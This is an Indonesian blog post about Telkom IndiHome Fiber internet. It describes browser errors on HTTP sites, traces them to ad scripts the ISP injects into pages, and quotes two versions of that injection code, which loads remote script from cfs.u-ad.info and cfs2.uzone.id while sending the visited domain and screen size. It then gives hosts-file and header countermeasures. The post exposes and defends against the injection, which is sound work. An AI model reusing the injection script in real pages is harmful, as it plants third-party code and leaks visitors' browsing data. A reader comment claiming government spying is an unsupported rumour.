Contents
Masalah Internet IndiHome
Saya baru mengganti koneksi internet ke Telkom IndiHome Fiber. Sebelumnnya saya telah menggunakan beberapa koneksi internet menggunakan modem. Pernah menggunakan SmartFren, lalu TelkomFlexy Broadband, lalu Tree (3) data, dan kemudian Telkom IndiHome Fiber. Namun ada masalah internet IndiHome yang sering muncul.
Saat menggunakan Tree (3), biaya yang saya keluarkan sudah mencapai antara 300 ribu-450 ribu rupiah per bulan. Saya juga berlangganan TV kabel Telkom Vision ( sekarang berganti atau diakuisisi menjadi Trans Vision). Biaya berlangganan TV kabel sebesar 112 ribu perbulan. Total biaya yang saya keluarkan dengan menggabungkan Internet dan TV kabel per bulan antara 400 ribu sampai 550 ribu per bulan.
Telkom IndiHome Fiber menawarkan salah satu paket (minimum) sebesar 405 ribu perbulan yang sudah termasuk :
- Koneksi internet hingga 10 Mbps
- TV kabel
- Saluran telpon rumah dengan gratis nelpon lokal dan interlokasl selama 1000 menit per bulan.
Atas pebandingan diatas, saya memutuskan berlangganan Telkom IndiHome Fiber.
Masalah Internet IndiHome yang sering muncul
Selama seminggu saya menggunakan koneksi internet Telkom IndiHome Fiber, memang akses terasa kencang. Saluran TV kabel (sesuai dengan paket) juga cukup memadai. Namun ada masalah yang rutin sering terjadi ketika mengakses sebuag situs. Masalah Internet IndiHome adalah :
Saat mengakses sebuah situs ( situs nya pun random, bukan situs tertentu ) maka muncul pesan kesalahan di browser sebagai berikut :
- “No Data. ERR_EMPTY_RESPONSE” dengan Chrome
- “Connection Reset” dengan Firefox
- “Hmm, we can’t reach this page” dengan Edge
Saya Googling untuk kasus seperti ini, ternyata banyak keluhan yang sama. Berikut sebuah situs yang juga membahas tentang masalah ini :
Error hanya muncul di website HTTP, sedangkan HTTPS tidak muncul
Meski kejadian munculnya terlihat random, namun pengamatan saya lebih lanjut menunjukkan bahwa untuk website yang menggunakan protokol aman ( secure ) yaitu HTTPS, error tidak pernah muncul.
Investigasi saya lebih lanjut menunjukkan adanya script tambahan yang dimasukkan (inject) ke halaman yang hendak kita lihat.
Berikut script yang di-inject :
<script type=”text/javascript“>if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol==”https:” ? “https://” : “http://”);var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ “cfs.u-ad.info/cfspushadsv2/request” + “?id=1” + “&enc=telkom2” + “¶ms=” + “4TtHaUQnUEiP6K%2fc5C582ECSaLdwqSpniIGApccHAT9fJgkAdNn7w1XGg72TO%2bgn%2fXWm4t5yEr58l%2bSCowy3k5HyYkMV8ts7sh%2bcnBnmsT3QUstBNCYRoCacevguwterZFaWAiMfmjsFfdod4mzp70PT%2bDaSmz29MyowEql%2fZIo%2fGyPhtTttrq0P4RgE5fFv%2bOIvPgDIvcM6ofudN1MjDQx8XabS8puAkJPPoEfaUKt8AIPl8vYg6CKAntD0uKYUREGrDZ3hpbjDw%2feKA%2bq4rwKdV52j%2feyNVSKJ7jYGVv0WxZpxcI%2bSjBPed3SOPv5ZS3kKzedeTMlp5dq29QqwF9%2bBd3EffMyBpo3GUM8PRxcZIOFCEzpm4U4YDH6A7ksS5coWLsLrdxB5sy1NpT3PB%2f4Wqx1VdfCMkTr91ysxveorlQlJNGPHgN0qPxm82F8CnLY53tUwQ%2bPT6mfX9PF4hy1RckplasKQd3bdo7ZxIGhAjTpQPfvIjDcD1kHiJ1RHmP%2f6uO6A%2fEZub1KJRkh7l2XLSBwezgiC0VNYrZ9PIeJbm%2bqdaWuTGA%2bioKsOT%2bnMWVslQCo9O0PLNp%2bLdmgoAHA0QLevuNbibT8smWCVAIsrabIePNbI4Q%3d%3d” + “&idc_r=”+idc_glo_r + “&domain=”+document.domain + “&sw=”+screen.width+”&sh=”+screen.height;var bsa = document.createElement(‘script’);bsa.type = ‘text/javascript’;bsa.async = true;bsa.src = url;(document.getElementsByTagName(‘head’)[0]||document.getElementsByTagName(‘body‘)[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script>
Ternyata indihome mencurangi pemilik situs. Dengan kata lain, Telkom melakukan praktek malicious. Telkom mengintersep halaman situs, lalu memasukkan script iklan / ads milik Advertising Telkom sendiri. Ini tentu sangat merugikan pemilik situs. Nah, sepertinya proses mengintersep inilah yang sering menyebabkan gangguan disisi user seperti penjelasan error diatas.
Cara memblok Injeksi Ads Malicious dari Telkom Indihome
Bagi developer pemilik situs,
ganti tag body dengan BODY atau Body
karena script tersebut baru akan menginjeksi bila protokol website adalah HTTP dan mencari tag body secara case sensitive.
Bisa juga dengan menambahkan statement berikut ke file .htaccess di hostingan anda untuk menghalangi script melakukan iFrame situs anda:
# Don’t allow any pages to be framed – Defends against CSRF
Header set X-Frame-Options DENY
Sedangkan di sistem window ( windows XP, Windows 7, Windows 8 dan Windows 10 ) :
Cari dan buka dengan Notepad file berikut yang bernama host yang berlokasi di :
c:\windows\system32\drivers\etc\host
Tambahkan dibagian awal atau akhir atau dibagian manapun perintah berikut :
127.0.0.1 cfs.u-ad.info
127.0.0.1 stat01.u-ad.info
Perintah tersebut menyebabkan Ads yang sudah terlanjur diinjek ke halaman situs tidak bisa dieksekusi karena request dialihkan ke 127.0.0.1 alias dialihkan ke komputer kita sendiri.
Anda bisa baca referensi lain di :
http://www.kaskus.co.id/thread/5491671f0e8b46ff29000007/mengakali-script-injeksi-spidol-as-a-web-developer
Update 18 Mei 2016
Sebelumnya request diarahkan ke
cfs.u-ad.info
Sekarang diarahkan ke
cfs2.uzone.id
Berikut script baru yang disisipkan :
<script type=”text/javascript“>if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol==”https:” ? “https://” : “http://”);var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ “cfs2.uzone.id/cfspushadsv2/request” + “?id=1” + “&enc=telkom2” + “¶ms=” + “4TtHaUQnUEiP6K%2fc5C582ECSaLdwqSpnDNI%2bwzpyBRxvyHFpcnTueMC%2bkX19vYEi6JIF44hWVahM5ZacpaiVNwV0OUjjHA8mYJb%2b1lY6X3pCr9VUSfIXs3F2XeZdTt4FKaR%2fDt3ilgmsW2%2bbkrvIhSW2FW9Q%2bASzXJOa96SGYLSXODFK1zYv461xbe2Hqsm560YB1NauXuNrLlte7arfQ6fdnSqAVCUD0Nd2ezCfYhNrnOcAJpKjdJ38C4z8YlCq%2fN2gN3yhGVuWJNy5y03%2bKdHpxIn5X0oOchx%2b8EozFW%2fxeL%2fEj9W8I9Isw3ynV%2bLAo1StDy8vZUKSYHi8KCdp5hXVjntWcl%2bddvTy2Ff1RT2GnC0otU7IyjEm9Rd3%2f%2bbX8W6r%2fWTZ%2fBgVVTo0Lz%2fU3txAbWvAgdxdXqvjLaowyJ%2fU8LMFIHhwHcWXARC4Gz2LHDXOiRBaxCOLYCBvpPIc00yDU%2bSi3ENLgy5nQbRTb7p09FTrK12ALW4krQrkLZ6W6TPw6C4H4W5c9XMBF9FIRdwamzRm%2bvJRoA57ySCHS3tZkf4prXtgOFVyDfU0gUqS8Dt4hLZyKu7iaxUJkjG8pJB4Jww82Zk%2fBGWtPhFimSlEiqJqFBExpBBdKGJ0pmIB” + “&idc_r=”+idc_glo_r + “&domain=”+document.domain + “&sw=”+screen.width+”&sh=”+screen.height;var bsa = document.createElement(‘script’);bsa.type = ‘text/javascript’;bsa.async = true;bsa.src = url;(document.getElementsByTagName(‘head’)[0]||document.getElementsByTagName(‘body’)[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script>
Domain uzone.id terdaftar atas nama PT Metra-Net yang merupakan anak perusahaan PT Telkom.
Sama saja smartfren malah injectnya pakai no IP bukan domain atau subdomain seperti diatas. Akhirnya ya terpaksa diberi script tambahan agar keluar dari iframe, tapi sebenarnya tetap mengganggu, karena proses meronta dari iframe memakan waktu, sebab berulang kali selalu mau dibungkus iframe, lalu keluar, keluarnya kadang memulai load dari awal lagi.
denger2 sih di ads.id itu tindakan pemerintah juga, bukan cuma iklan tapi memata-matai user internet.
halah embuh